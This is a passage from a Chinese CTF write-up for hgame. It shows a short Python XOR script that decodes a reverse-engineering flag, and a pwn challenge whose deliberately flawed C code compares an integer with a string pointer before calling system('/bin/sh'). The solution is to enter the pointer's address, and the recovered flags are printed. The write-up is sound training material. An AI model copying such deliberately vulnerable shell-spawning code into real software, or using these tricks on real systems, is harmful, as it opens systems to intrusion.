首先读取输入,然后与 sub_140001430
函数返回的结果进行异或,不对则输出 wrong flag。
再看 sub_140001430
,返回的是 0xFF 递减的结果。
而 byte_140003480
是比对的部分。
于是写个脚本异或就完事了。
Exp:
xx = """97
99
..."""
x = xx.strip().split('\n')
x = [int(i.strip(), 16) for i in x]
r = ''
cnt = 0xff
for i in x:
r += chr(i ^ cnt)
cnt -= 1
print(r)
# hgame{hello_re_player}
Pwn
whitegive
签到题,源码都给了,好耶!
#include <stdio.h>
#include <unistd.h>
void init_io()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main()
{
unsigned long long num;
init_io();
printf("password:");
scanf("%ld", &num);
if (num == "paSsw0rd") { //Do you know strcmp?
printf("you are right!\n");
system("/bin/sh");
} else {
printf("sorry, you are wrong.\n");
}
return 0;
}
unsigned long long 和 char* 比较,看指针地址就好了。
0x402012 => 4202514
hgame{W3lCOme_t0_Hg4m3_2222Z222zO2l}
小结
第一周 AK 了 Misc 和 Web,感觉题目还是挺有意思的。
喵呜,binary 好难不会做,嘤嘤嘤。
好快啊,这周就过年了喵~
(溜了溜了